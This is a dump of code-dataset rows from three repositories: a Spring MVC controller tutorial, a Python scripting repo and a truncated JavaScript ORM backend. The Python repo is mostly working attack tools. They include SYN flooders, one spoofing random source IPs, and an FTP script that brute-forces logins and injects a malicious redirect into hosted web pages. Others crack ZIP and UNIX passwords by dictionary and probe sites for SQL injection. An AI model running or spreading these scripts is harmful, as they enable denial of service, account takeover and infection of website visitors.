branch_name
stringclasses 149
values | text
stringlengths 23
89.3M
| directory_id
stringlengths 40
40
| languages
listlengths 1
19
| num_files
int64 1
11.8k
| repo_language
stringclasses 38
values | repo_name
stringlengths 6
114
| revision_id
stringlengths 40
40
| snapshot_id
stringlengths 40
40
|
---|---|---|---|---|---|---|---|---|
refs/heads/master
|
<file_sep>package com.jx372.springex.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@RequestMapping("/user")
public class UserController {
//request mapping (type+ method)
@ResponseBody
@RequestMapping("/joinform")
public String joinform(){
return "UserController:joinform";
}
@ResponseBody
@RequestMapping({"/join","/dojoin"})
public String doJoin(){
return "UserController:doJoin";
}
@RequestMapping(value="/login", method=RequestMethod.GET) //2개이상의 값을 줄때 value로 지정해줘야함 , get방식으로 들어오면 실행하세요
public String login(){
return "/WEB-INF/view/login.jsp";
}
/*
@ResponseBody
@RequestMapping(value="/login", method=RequestMethod.POST) //2개이상의 값을 줄때 value로 지정해줘야함 , post방식으로 들어오면 실행하세요
public String login(@ModelAttribute UserVo userVo){ //같은 메소드라도 가능함 , url을 다르게 할 필요가 없음, uservo 이름과 jsp 이름이 같아야한다. setter도 있어야함 !!
//@RequestParam(value="email",required=true, defaultValue="") String email, 값이 여러개일경우 modelattribute를 써서 한꺼번에 가지고 온다.
System.out.println(userVo);
return "UserController:login(String, String)";
*/
@RequestMapping(value="/login", method=RequestMethod.POST) //2개이상의 값을 줄때 value로 지정해줘야함 , post방식으로 들어오면 실행하세요
public String login(@ModelAttribute UserVo userVo){ //같은 메소드라도 가능함 , url을 다르게 할 필요가 없음, uservo 이름과 jsp 이름이 같아야한다. setter도 있어야함 !!
//@RequestParam(value="email",required=true, defaultValue="") String email, 값이 여러개일경우 modelattribute를 써서 한꺼번에 가지고 온다.
System.out.println(userVo);
return "redirect:/main"; //contextpath를 적어주면 안됨 , 기술적인 요소는 dispathservlet이 알아서 해주기때문에
}
}
<file_sep>package com.jx372.springex.controller;
import java.io.IOException;
import java.io.Writer;
import javax.servlet.http.HttpServletRequest;
import org.springframework.http.HttpRequest;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;
@Controller
public class HelloController {
@RequestMapping( "/hello" )
public String hello(){
return "/WEB-INF/view/Hello.jsp";
}
@RequestMapping( "/hello2" )
public ModelAndView hello2(@RequestParam("n") String name){
ModelAndView mav = new ModelAndView();
mav.addObject("name", name);
mav.setViewName( "/WEB-INF/view/Hello.jsp" );
return mav;
}
@RequestMapping( "/hello3" )
public String hello3(
Model model,
@RequestParam("n") String name){
model.addAttribute("name", name);
return "/WEB-INF/view/Hello.jsp";
}
/*//기술이 침투되어있어서 쓰지 않는 방식
@RequestMapping( "/hello3" )
public void hello3( HttpServletRequest request, Writer out){
String name = request.getParameter("name");
try {
out.write("<h1>hello"+name+"</h1>");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
*/
}
|
792198384bf669bed7d1df5b318e9260526b0af4
|
[
"Java"
] | 2 |
Java
|
Pgahye/springex
|
67c5527e29edd0089853af3f10621f0569236c46
|
10adfdba52554bf5220d64c008754e8cdeef77b1
|
refs/heads/master
|
<repo_name>marbrb/Scripting-with-python<file_sep>/networks/serverTCP.py
import socket
import threading
import sys
bindIP = sys.argv[1]
bindPort = int(sys.argv[2])
clients = []
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bindIP, bindPort))
server.listen(5)
print "[*] listening on {}:{}".format(bindIP,bindPort)
def handleClient(clientSocket):
request = clientSocket.recv(3072)
print "[*] Recived: " + str(request)
print "[*] Send reponse: 'ACK!'"
clientSocket.send("ACK!") #send back a packet
clientSocket.close()
while 1:
try:
client, addr = server.accept()
print "[*] Accepted connection from: {}:{}".format(addr[0], addr[1])
clients.append(client)
handler = threading.Thread(target=handleClient, args=(client,))
handler.start()
except KeyboardInterrupt:
print "\nCtrl C - Stopping server."
sys.exit(1)
<file_sep>/hacking/webinfo.py
#encoding : utf8
import requests
import argparse
from bs4 import BeautifulSoup #html a un formato DI-VI-NO
class WebInformation():
def __init__(self, url):
self.url = url
#se encarga de extraer informacion de los sitios que estan alojados en el mismo servidor que la url que pasamos
def reverseIP(self):
#acomodar la url como la necesitamos (www.url.com)
if self.url.startswith("http://"):
url = self.url.replace("http://","") #remplazar por vacio :v
else:
url = self.url
#se envia por post ya que la pagina usa un formulario para pedir la url a escanear
#data son los datos POST que es la url
#remoteHost es como se envía el parametro (la url que se especifica en connection)
data = {"remoteHost" : url}
connection = requests.post(
#parametros necesarios para la conexion
url="http://www.ipfingerprints.com/scripts/getReverseIP.php", data=data
)
#connection.text es el html que retorna la conexion
#BeautifulSoup lo parsea menos horrible
#html.parser para salida mas limpia
beautifulOut = BeautifulSoup(connection.text, "html.parser")
#aqui guardaremos todos los links que encontremos en la etiqueta
response = list()
#find_all busca todas las equitas y 'a' es el parametro para filtrar solo ese tipo de etiqueta
for link in beautifulOut.find_all("a"):
#href es el nombre del dominio (que es lo unico que nos interesa de toda la etiqueta)
currentLink = link.get("href")
response.append(currentLink[11:-2])
return response
#busca que tecnología está usando el servidor
def searchServer(self):
#acomodar la url como la necesitamos "http://url.com"
url = self.url
if not self.url.startswith("http://"):
if self.url.startswith("www"):
url = "http://"+self.url
elif not self.url.startswith("www"):
url = "http://www."+self.url
else:
return "BAD URL :-("
#verify es para que no de problemas si la url no tiene habilitado SSL
connection = requests.get(url=url, verify=False)
#connection.headers.get retorna un diccionario y .get() busca la clave 'server'
headers = connection.headers.get("server")
return headers
def main():
parser = argparse.ArgumentParser(description="Tool para escanear")
parser.add_argument("-u", "--url", dest="target_url", help="URL del sitio a escanear", required=True)
#si pasa el argumento, guarda True en server
parser.add_argument("-s", "--server", help="Extraer tecnología del servidor", action="store_true")
parser.add_argument("-r", "--reverse", help="Extraer sitios alojados en el servidor", action="store_true")
arguments = parser.parse_args()
if arguments.server:
extractor = WebInformation(arguments.target_url)
print(extractor.searchServer())
if arguments.reverse:
extractor = WebInformation(arguments.target_url)
sites = extractor.reverseIP()
for site in sites:
print(site)
if __name__ == '__main__':
main()
<file_sep>/utils/regex.py
import re
addr1 = "100 NORTH BROAD ROAD"
print(re.sub('ROAD$', 'RD', addr1))
addr2 = '100 BROAD ROAD APT. 3'
print(re.sub(r'\bROAD\b', 'RD', addr2)) # \b indica que debe existir en ese punto un límite de palabra
#roman numerals
pattern = r'^M?M?M?$' # ? hace que un patron sea opcional, es decir pueden haber de 0-3 'M' y el patron coincidirá
#la funcion search retorna un objeto para manipular la cadena
if re.search(pattern, 'MMM'): print("coincide")
if not re.search(pattern, 'MMMM'): print("no coincide")
if re.search(pattern, ''): print("coincide")
<file_sep>/hacking/DOSAttack.py
#!/usr/bin/python3
from scapy.all import *
import argparse
parser = argparse.ArgumentParser(description="Simple D.O.S. attack")
parser.add_argument("-s", "--source", dest="src", help="Source IP", required=True)
parser.add_argument("-t", "--target", dest="target", help="Target IP", required=True)
parser.add_argument("-p", "--port", dest="port", help="Source port", required=True)
arguments = parser.parse_args()
packages = 1
while True:
IP1 = IP(src=arguments.src, dst=arguments.target)
TCP1 = TCP(sport=int(arguments.port), dport=80)
package = IP1 / TCP1 #make package
send(package, inter=.001, verbose=False) #inter: time interval to wait between two packages
print("Number of packages: ", packages)
packages += 1
<file_sep>/hacking/DDOSAttack.py
#!/usr/bin/python3
from scapy.all import *
import argparse
from random import randint
parser = argparse.ArgumentParser(description="Simple D.D.O.S. attack") #Distributed Denial Of Service
parser.add_argument("-t", "--target", dest="target", help="Target IP", required=True)
arguments = parser.parse_args()
def randomIP():
nums = [str(randint(1,254)) for x in range(4)]
return(".".join(nums))
while True:
IP1 = IP(src=randomIP(), dst=arguments.target)
TCP1 = TCP(sport=randint(1, 65534), dport=80)
package = IP1 / TCP1
send(package, inter=0.001, verbose=False) #inter: time interval to wait between two packages
print("Ip: %s ----------- Port: %i" %(IP1.src, TCP1.sport))
#TODO: optimize with threads
<file_sep>/hacking/nmapScanner.py
#!/usr/bin/python
#Author: <NAME>
#Date: 10/06/2016
#Description: Simple port scanner using nmap
#Contact: <EMAIL>
import nmap
import argparse
def nmapScan(targetHost, targetPort):
scanner = nmap.PortScanner()
scanner.scan(targetHost, targetPort)
for host in scanner.all_hosts():
if "tcp" in scanner[host].keys():
for port in scanner[host]["tcp"].keys().sort():
print "[*] {} tcp/{} {}".format(host, port, scanner[host].tcp(port)["state"])
print "\n"
def main():
parser = argparse.ArgumentParser(description="Simple port scanner using nmap")
parser.add_argument("-H","--host", dest="targetHost", help="specify target host", required=True)
parser.add_argument("-p", "--port", dest="targetPort", type=str, help="specify target port(s)", required=True)
arguments = parser.parse_args()
nmapScan(arguments.targetHost, arguments.targetPort)
if __name__ == "__main__":
main()
#TODO: accept more hosts
<file_sep>/networks/search1.py
#!/usr/bin/env python3
from pygeocoder import Geocoder
if __name__ == "__main__":
address = '201 N. Defiance St, Archbold, OH'
coder = Geocoder()
coder.set_proxy('10.20.4.15:3128')
print(coder.geocode(address)[0].coordinates)
<file_sep>/README.md
# Scripting-with-python<file_sep>/hacking/sql.py
#encoding: utf8
#description: script para automatizar la detección de vulnerabilidades de ti SQL injection
#funcionamiento: conectarse a un sitio, extraer links del sitio y comparalos con una regex
#para ver si son de la típica forma de un sitio vulnerable "algo.php?otroAlgo=int"
import argparse
import requests
import re
from bs4 import BeautifulSoup
from multiprocessing import Pool #librería para multiprocesos
import time
parser = argparse.ArgumentParser(description="script para detectar la vulnerabilidad de tipo SQL injection")
parser.add_argument("-u", "--url", dest="target_url", help="URL del sitio a escanear", required=True)
arguments = parser.parse_args()
def verifyVulnerability(url):
connection = browser.get(url)
if "You have an error in your SQL syntax" in connection.text:
print("{} es vulnerable".format(url))
else:
print("{} NO es vulnerable".format(url))
if arguments.target_url:
browser = requests.Session() #simular un navergador para mantener la sesion por medio de una cookie, y no a con hilos como en los otros programas
connection = browser.get(arguments.target_url) #metodo get
response = connection.text #retorna un HTML
soup = BeautifulSoup(response, "html.parser") #renderiza el HTML
posibleVulnerablesLinks = list()
for x in soup.find_all("a"): #etiqueta "a" para buscar todos los links
link = x.get("href")
# "<=" hace que se ignore lo que hay entre "?" y el ultimo "="
# "\w+" significa que se va a recibir un parametro sin importar si
# es número o letra (el "+" quiere decir que no import el largo)
if re.search("(?<==)\w+", link):
posibleVulnerablesLinks.append(link) #si el link cumple con la regex, es vulnerable
else:
pass
if posibleVulnerablesLinks:
try:
pool = Pool(processes=1)
h = pool.map(verifyVulnerability,
(arguments.target_url + url + "'" for url in posibleVulnerablesLinks)) # %27 es como el navergador reconoce una comilla simple
time.sleep(1)
#pagina.com + / parte vulnerable + la comilla
except:
pass
<file_sep>/hacking/filesDetection.py
#encoding: utf8
import requests
import argparse
import re #librería para manejo de regex
#robots.txt le dice a los bots de los motores de busqueda a que directorios no pueden acceder
#phpinfo.php contiene informacion del sistema, versiones de sistema, mysql, php... rutas del servidor
def robotsDetection(url):
fileName = "/robots.txt"
try:
connection = requests.get(url= url+fileName) #conectarse a la url por metodo get
except:
print("No se pudo conectar a la url")
return False
if connection.status_code == 200: #codigo 200 quiere decir conexion satisfactoria
print("Archivo {} encontrado!".format(fileName))
lines = connection.text.split("\n")
return lines
else:
print("No se encontro el archivo {}".format(fileName))
def phpinfoDetection(url):
fileName = "/phpinfo.php"
try:
connection = requests.get(url= url+fileName) #conectarse a la url por metodo get
except:
print("No se pudo conectar a la url")
return False
if connection.status_code == 200: #codigo 200 quiere decir conexion satisfactoria
print("Archivo {} encontrado!".format(fileName))
regexPhp = '(<tr class="h"><td>\n|alt="PHP Logo" /></a>)<h1 class="p">(.*?)</h1>'
regexSystem = 'System </td><td class="v">(.*?)</td></tr>'
responseBody = connection.text
findPhp = re.search(regexPhp, responseBody)
findSystem = re.search(regexSystem, responseBody)
systemInformation = list()
if findPhp:
systemInformation.append(findPhp.group(2)) #El 2 hace referencia a el segundo valor capturado en l regexPhp
else:
print("No se pudo detectar la versión de PHP")
if findSystem:
systemInformation.append(findSystem.group(1))
else:
print("No se pudo detectar la versión del sistema")
return systemInformation
else:
print("No se pudo encontrar el archivo {}".format(fileName))
return False
def main():
parser = argparse.ArgumentParser(description= "Script para detectar archivos sensibles")
parser.add_argument(
"-u", "--url", dest="website_url", help="Especifica la URL completa", required=True
)
arguments = parser.parse_args()
if arguments.website_url:
robotsResponse = robotsDetection(arguments.website_url)
if robotsResponse: #Si la lista tiene contenido retorna True
for line in robotsResponse:
if line.startswith("Disallow:"):
print(line)
phpRespose = phpinfoDetection(arguments.website_url)
if phpRespose:
print("Version de PHP : {}".format(phpRespose[0]))
print("Version del sistema : {}".format(phpRespose[1]))
else:
print("No hay url a la cual conectarse")
if __name__ == '__main__':
main()
<file_sep>/hacking/PortScanner.py
#!/usr/bin/python
#Author: <NAME>
#Date: 09/06/2016
#Description: Port Scanner
#Contact: <EMAIL>
import argparse
import socket
from threading import Thread, Semaphore
from socket import *
screenlock = Semaphore(value=1)
def connScan(targetHost, targetPort):
try:
conSocket = socket(AF_INET, SOCK_STREAM) #(IPV4, TCP)
conSocket.connect((targetHost, targetPort))
conSocket.send('ViolentPython\r\n')
response = conSocket.recv(100)
screenlock.acquire()
print "[+] %d/tcp open"% targetPort
if response:
print "[+] response: "+ str(response)
conSocket.close()
except:
screenlock.acquire()
print "[-] %d/tcp closed"% targetPort
finally:
screenlock.release()
conSocket.close()
def portScan(targetHost, targetPorts):
try:
targetIP = gethostbyname(targetHost)
except:
print "[-] Cannot resolve '%s': Unknow host"% targetHost
return
try:
targetName = hostbyaddr(targetIP)
print "\nScan results for: " + targetName[0]
except:
print "\nScan results for: " + targetIP
setdefaulttimeout(1)
for port in targetPorts:
t = Thread(target=connScan, args=(targetHost, int(port)))
t.start()
def main():
parser = argparse.ArgumentParser(description="Port Scanner")
parser.add_argument("-H", "--host", dest="targetHost", help="Type the target host", required=True)
parser.add_argument("-p", "--port", dest="targetPort", type=str, help="Type the target port", required=True)
arguments = parser.parse_args()
targetPorts = arguments.targetPort.split(",")
portScan(arguments.targetHost, targetPorts)
if __name__ == "__main__":
main()
<file_sep>/hacking/FTPAttack.py
#!/usr/bin/python
#Author: <NAME>
#Date: 10/06/2016
#Description: try anonymous logon and dictionary attack to gain access.
#search for default web pages. For each of these pages,
#download a copy and adds a malicious redirection.
#upload the infected page back to the FTP server
#THIS SCRIPT IS A OLD PROOF OF CONCEPT, THIS NOT WORKS NOW.
#Contact: <EMAIL>
import ftplib
import argparse
import time
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname) # FTP client
ftp.login("anonymous", "<EMAIL>")
print "[*] {} FTP anonymous logon succeeded".format(hostname)
ftp.quit()
return True
except:
print "[*] {} FTP anonymous logon failed".format(hostname)
return False
def bruteLogin(hostname, passFile):
try:
passFile = open(passFile, "r")
except IOError:
print "Bad path file"
return
for line in passFile.readlines():
time.sleep(1)
user = line.split(":")[0]
passwd = line.split(":")[1].strip("\r").strip("\n")
print "[*] Trying {}/{}".format(user,passwd)
try:
ftp = ftplib.FTP(hostname)
ftp.login(user, passwd)
print "[+] {} FTP logon succeeded {}/{}".format(hostname, user, passwd)
ftp.quit()
return (user, passwd)
except:
pass
print "[-] Could not brute force FTP credentials."
return (None, None)
def defaultPages(ftp): # take a FTP connection as argument
try:
dirList = ftp.nlst() #list the directory contents of the FTP server
except:
dirList = []
print "[-] Could not list directory contents"
print "[-] Skipping to next target"
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print "[+] Found default page {}".format(fileName)
retList.append(fileName)
return retList
def injectPage(ftp, page, redirect): # take a FTP connection as argument
f = open(page + ".tmp", "w")
ftp.retrlines("RETR" + page, f.write)
print "[+] Downloaded page " + page
f.write(redirect)
f.close()
print "[*] Injected malicious IFrame on " + page
ftp.storlines("STOR" + page, open(page + ".tmp"))
print "[+] Uploaded injected page " + page
def attack(username, password, targetHost, redirect):
ftp = ftplib.FTP(targetHost)
ftp.login(username, password)
defPages = defaultPages(ftp)
for page in defPages:
injectPage(ftp, page, redirect)
def main():
parser = argparse.ArgumentParser(description="Complete FTP attack")
parser.add_argument("-f", "--file", dest="passFile", help="specify the user/password file", required=True)
parser.add_argument("-H", "--host", dest="targetHost", help="specify target host(s)", required=True)
parser.add_argument("-r", "--redirect", dest="redirect", help="specify a redirection page", required=True)
arguments = parser.parse_args()
username = None
password = None
if anonLogin(arguments.targetHost):
username = "anonymous"
password = "<EMAIL>"
print "[+] Using anonymous credentials to attack"
attack(username, password, arguments.targetHost, arguments.redirect)
elif arguments.passFile != None:
(username, password) = bruteLogin(arguments.targetHost, arguments.passFile)
if password != None:
print"[+] Using credentials {}/{} to attack".format(username, password)
attack(username, password, arguments.targetHost, arguments.redirect)
else:
print "[-] Password not found :-("
if __name__ == "__main__":
main()
<file_sep>/networks/search3.py
#!/usr/bin/env python3
import http.client
import json
from urllib.parse import quote_plus
base = '/maps/api/geocode/json'
def geocode(address):
path = '{}?address={}&sensor=false'.format(base, quote_plus(address))
connection = http.client.HTTPConnection('10.20.4.15', 3128)
connection.set_tunnel('maps.google.com')
connection.request('GET', path)
raw_reply = connection.getresponse().read() #HTTPResponse on bytes
reply = json.loads(raw_reply.decode('utf-8')) #decode bytes and parse to json
return(reply['results'][0]['geometry']['location'])
if __name__ == '__main__':
print(geocode('207 N, Defiance St, Archbold, OH'))
<file_sep>/hacking/ZIPcrack.py
#!/usr/bin/python
#Author: <NAME>
#Date: 07/06/2016
#Description: ZIP password cracker
#Contact: <EMAIL>
import zipfile
from threading import Thread
import argparse
def extractFile(zipFile, password):
try:
zipFile.extractall(pwd=password)
print( "[+] Found password: {}".format(password))
except:
pass
def main():
parser = argparse.ArgumentParser(description="Zip-File password cracker")
parser.add_argument("-f", "--file", dest="zipfile", help="zip-file path", required=True)
parser.add_argument("-d", "--dict", dest="dictionary", help="dictionary path", required=True)
arguments = parser.parse_args()
zipFile = zipfile.ZipFile(arguments.zipfile)
passFile = open(arguments.dictionary, "r")
for line in passFile.readlines():
password = line.strip("\n")
thread = Thread(target=extractFile, args=(zipFile, password))
thread.start()
if __name__ == "__main__":
main()
<file_sep>/hacking/UNIXcrack.py
#!/usr/bin/python
#Author: <NAME>
#Date: 07/06/2016
#Description: UNIX password cracker
#Contact: <EMAIL>
import crypt
def testPass(cryptPass):
salt = cryptPass[:2]
dictFile = open("dictionary.txt", "r")
for word in dictFile.readlines():
word = word.strip("\n")
cryptWord = crypt.crypt(word, salt)
if cryptWord == cryptPass:
print "[+] Found password: %s\n"%(word)
return
print "[-] Password not found.\n"
return
def main():
passFile = open("passwords.txt", "r")
for line in passFile.readlines():
if ":" in line:
user = line.split(":")[0]
cryptPass = line.split(":")[1].strip("\n")
print "Cracking password for: %s"%(user)
testPass(cryptPass)
if __name__ == "__main__":
main()
#TODO: Update the script to crack SHA-512 hashes
<file_sep>/utils/formats.py
#!/usr/bin/python3
#coding: utf8
string = "Titulo"
#Imprimir centrado
print("{:*^30}".format(string)) #(caracter-posicion-espaciado)
#imprimir izquierda o derecha ( < ó > )
#porcentajes
puntos = 19.5 #alguno tiene que ser float
preguntas = 22.0 #alguno tiene que ser float
print("Correct answers: {:.2%}".format(puntos/preguntas)) #.2 es la precision y % el formato
print("Este es numero tiene una cifra decimal {:.1f}".format(1.30400)) #otro ejemplo con float
#------BASES-------
print('int: {0:d} oct: {0:o} hex: {0:x} bin: {0:b}.'.format(42))
#------BYTES-------
by = b'd'
string = 'a b c d e'
print(string.count(by.decode('ascii'))) #hay que decodificar los bytes para poder buscar las ocurrencias en el string
<file_sep>/utils/os_glob.py
#!/usr/bin/python3
a = [1,2,3]
b = [1,2,3]
#enumerate() retorna un iterable de (indice, lista[indice])
for indice, item in enumerate(a):
print("indice: {} - item: {}". format(indice, item))
#zip() retorna tuplas de el i-ésimo item de cada iterable
for x, y in zip(a,b):
print("paired items: ({},{})".format(x,y))
#example of List Comprehensions
lista_impares_de_a = [x for x in a if x%2!=0]
import os, glob
print(os.getcwd()) #print out current path
os.chdir('/home/miguel/Imágenes') #change dir
print(glob.glob('*.png')) #print out list of images in the current dir
#example of sets
a = set() #empty set
a.add(1)
a.update({1,2,3}) #take set(s) as argument
print("\nthis is a centered set:\n {:^50}".format(str(a)))
<file_sep>/hacking/ping.py
#encoding: utf8
import subprocess #sustituye a os.sistem que permitia ejecutar comandos en el sistema
import os
dontOut = open(os.devnull, "w") #equivalente a redirigir el flujo de salida a /dev/null
def ping(ip):
#pasamos el comando que deseamos ejecutar en forma de lista, "-c" es la cantidad
#stderr es para manejo de errores
response = subprocess.call(
["ping", "-c", "2", ip], stdout=dontOut, stderr=subprocess.STDOUT
)
if response == 0: #Esto significa que la maquita esta respondiendo :D
print("La máquina está viva wuey!")
else: #si responde 1 es porque la maquina no responde y otro número es por un error
print("La máquina está muelta :c")
def main():
print("Digite la IP ó 'hecho' si no quiere conectarse a más IPs")
while True:
ip = input("> ")
if ip == "hecho":
break
ping(ip)
if __name__ == '__main__':
main()
<file_sep>/networks/proxy.py
#encoding: utf8
import sys
import socket
import threading
import argparse
import requests
from bs4 import BeautifulSoup
def server_loop(lHost, lPort, rHost, rPort,receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind((lHost,lPort))
except:
print "[-] Failed to listen on {}:{}".format(lHost,lPort)
print "[*] Check for other listening sockets or correct permissions."
sys.exit(0)
print "[*] Listening on {}:{}".format(lHost, lPort)
server.listen(5)
while True:
client_socket, address = server.accept()
print "[==>] Received incoming connection from {}:%{}".format(address[0],address[1])
proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket,rHost,rPort,receive_first))
proxy_thread.start()
#print out hexadecimal values and ASCII-printable characters
# def hexdump(src, length=16):
# result = []
# #great
# digits = 4 if isinstance(src, unicode) else 2
#
# for i in xrange(0, len(src), length):
# s = src[i:i+length]
# hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
# text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
# result.append( b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text))
#
# print b'\n'.join(result)
def receive_from(connection):
buffer = ""
connection.settimeout(3)
try:
#keep reading into the buffer until there's no more data or we time out
while 1:
data = connection.recv(4096)
if not data:
break
buffer += data
except:
pass
return buffer
#modify any requets destined for the remote host(The server)
def request_handler(buffer):
print "REQUEST : {}".format(buffer)
return buffer
#r = requests.get('http://'+buffer)
#return r.text.encode('ascii','ignore')
#soup = BeautifulSoup(r.text.encode('ascii','ignore'), 'html.parser')
#return str(soup)
#modify any response destined for the local host!
def response_handler(buffer):
print "RESPONSE : {}".format(buffer)
#perform packet modifications
return buffer
def proxy_handler(client_socket, rHost, rPort, receive_first):
#Socket to connect proxy with the sremote host (the server)
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((rHost, rPort))
#receive data from the remote end if necessary
if receive_first:
remote_buffer = receive_from(remote_socket)
#hexdump(remote_buffer)
#send it to our response handler
remote_buffer = response_handler(remote_buffer)
# if we have data to send to our local client, send it
if len(remote_buffer):
print "[<==] Sending {} bytes to localhost.".format(len(remote_buffer))
client_socket.send(remote_buffer)
#read loop and local
#send to remote, send to local
while 1:
#read from local host
local_buffer = receive_from(client_socket)
if len(local_buffer):
print "[==>] Received {} bytes from localhost.".format(len(local_buffer))
# hexdump(local_buffer)
#send it to our local request handler
local_buffer = request_handler(local_buffer)
#send off the data to the remote host
remote_socket.send(local_buffer)
print "[==>] send to remote {} bytes.".format(len(local_buffer))
#receive back the response
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print "[<==] Received {} bytes from remote.".format(len(remote_buffer))
# hexdump(remote_buffer)
#send to our response handler
remote_buffer = response_handler(remote_buffer)
#send the response to the local socket
client_socket.send(remote_buffer)
print "[<==] Sent to localhost."
#if no more data on either side, close the connections
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print "[*] No more data. Close the connections."
break
def main():
parser = argparse.ArgumentParser(description= "TCP Proxy :-)")
parser.add_argument("-lh", "--localh", dest="lHost", help="type local host", default="localhost")
parser.add_argument("-lp", "--localp", dest="lPort", help="specify the local port", required=True)
parser.add_argument("-rh", "--remoteh", dest="rHost", help="specify the remote host", required=True)
parser.add_argument("-rp", "--remotep", dest="rPort", help="specify the remote port", required=True)
parser.add_argument("-R", "--receive", dest="receive_first", help="boolean option (True/False)", required=True)
arguments = parser.parse_args()
try:
server_loop(arguments.lHost, int(arguments.lPort), arguments.rHost, int(arguments.rPort), arguments.receive_first)
except KeyboardInterrupt:
print "\nCtrl C - Sopping proxy"
sys.exit(1)
if __name__ == "__main__":
main()
<file_sep>/networks/client.py
import socket
import sys
host = sys.argv[1]
port = int(sys.argv[2])
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#client.settimeout(3)
try:
client.connect((host, port))
except Exception as e:
print "Error {}".format(e)
client.send("sitioweb.com")
response = client.recv(1024)
client.close()
print "Server reponse: {}".format(response)
|
00e70694f75388a95436658009a0ff11f54ba498
|
[
"Markdown",
"Python"
] | 20 |
Python
|
marbrb/Scripting-with-python
|
63f12bac7943bf54e3bfcb469dd3b6118d9ae61a
|
66699526c156c8097f8f9d4e27b929ea1b043749
|
refs/heads/master
|
<file_sep>import find from 'lodash/collection/find';
import omit from 'lodash/object/omit';
import {ListIterator, objectDiff} from './utils';
/**
* Handles the underlying data structure for a {@link Model} class.
*/
const Backend = class Backend {
/**
* Creates a new {@link Backend} instance.
* @param {Object} userOpts - options to use.
* @param {string} [userOpts.idAttribute=id] - the id attribute of the entity.
* @param {Boolean} [userOpts.indexById=true] - a boolean indicating if the entities
* should be indexed by `idAttribute`.
* @param {string} [userOpts.arrName=items] - the state attribute where an array of
* either entity id's (if `indexById === true`)
* or the entity objects are stored.
* @param {string} [userOpts.mapName=itemsById] - if `indexById === true`, the state
* attribute where the entity objects
* are stored in a id to entity object
* map.
* @param {Boolean} [userOpts.withMutations=false] - a boolean indicating if the backend
* operations should be executed
* with or without mutations.
*/
constructor(userOpts) {
const defaultOpts = {
idAttribute: 'id',
indexById: true,
arrName: 'items',
mapName: 'itemsById',
withMutations: false,
};
Object.assign(this, defaultOpts, userOpts);
}
/**
* Returns a reference to the object at index `id`
* in state `branch`.
*
* @param {Object} branch - the state
* @param {Number} id - the id of the object to get
* @return {Object|undefined} A reference to the raw object in the state or
* `undefined` if not found.
*/
accessId(branch, id) {
if (this.indexById) {
return branch[this.mapName][id];
}
return find(branch[this.arrName], {[this.idAttribute]: id});
}
accessIdList(branch) {
return branch[this.arrName];
}
/**
* Returns a {@link ListIterator} instance for
* the list of objects in `branch`.
*
* @param {Object} branch - the model's state branch
* @return {ListIterator} An iterator that loops through the objects in `branch`
*/
iterator(branch) {
if (this.indexById) {
return new ListIterator(branch[this.arrName], 0, (list, idx) => branch[this.mapName][list[idx]]);
}
return new ListIterator(branch[this.arrName], 0);
}
accessList(branch) {
return branch[this.arrName].map(id => {
const obj = this.accessId(branch, id);
return Object.assign({[this.idAttribute]: id}, obj);
});
}
/**
* Returns the default state for the data structure.
* @return {Object} The default state for this {@link Backend} instance's data structure
*/
getDefaultState() {
if (this.indexById) {
return {
[this.arrName]: [],
[this.mapName]: {},
};
}
return {
[this.arrName]: [],
};
}
/**
* Returns the data structure including a new object `entry`
* @param {Object} branch - the data structure state
* @param {Object} entry - the object to insert
* @return {Object} the data structure including `entry`.
*/
insert(branch, entry) {
if (this.indexById) {
const id = entry[this.idAttribute];
if (this.withMutations) {
branch[this.arrName].push(id);
branch[this.mapName][id] = entry;
return branch;
}
return {
[this.arrName]: branch[this.arrName].concat(id),
[this.mapName]: Object.assign({}, branch[this.mapName], {[id]: entry}),
};
}
if (this.withMutations) {
branch[this.arrName].push(entry);
return branch;
}
return {
[this.arrName]: branch[this.arrName].concat(entry),
};
}
/**
* Returns the data structure with objects where id in `idArr`
* are merged with `mergeObj`.
*
* @param {Object} branch - the data structure state
* @param {Array} idArr - the id's of the objects to update
* @param {Object} mergeObj - The object to merge with objects
* where their id is in `idArr`.
* @return {Object} the data structure with objects with their id in `idArr` updated with `mergeObj`.
*/
update(branch, idArr, mergeObj) {
const returnBranch = this.withMutations ? branch : {};
const {
arrName,
mapName,
idAttribute,
} = this;
const mapFunction = entity => {
const assignTo = this.withMutations ? entity : {};
const diff = objectDiff(entity, mergeObj);
if (diff) {
return Object.assign(assignTo, entity, mergeObj);
}
return entity;
};
if (this.indexById) {
if (!this.withMutations) {
returnBranch[mapName] = Object.assign({}, branch[mapName]);
returnBranch[arrName] = branch[arrName];
}
const updatedMap = {};
idArr.reduce((map, id) => {
const result = mapFunction(branch[mapName][id]);
if (result !== branch[mapName][id]) map[id] = result;
return map;
}, updatedMap);
const diff = objectDiff(returnBranch[mapName], updatedMap);
if (diff) {
Object.assign(returnBranch[mapName], diff);
} else {
return branch;
}
return returnBranch;
}
let updated = false;
returnBranch[arrName] = branch[arrName].map(entity => {
if (idArr.includes(entity[idAttribute])) {
const result = mapFunction(entity);
if (entity !== result) {
updated = true;
}
return mapFunction(entity);
}
return entity;
});
return updated ? returnBranch : branch;
}
/**
* Returns the data structure without objects with their id included in `idsToDelete`.
* @param {Object} branch - the data structure state
* @param {Array} idsToDelete - the ids to delete from the data structure
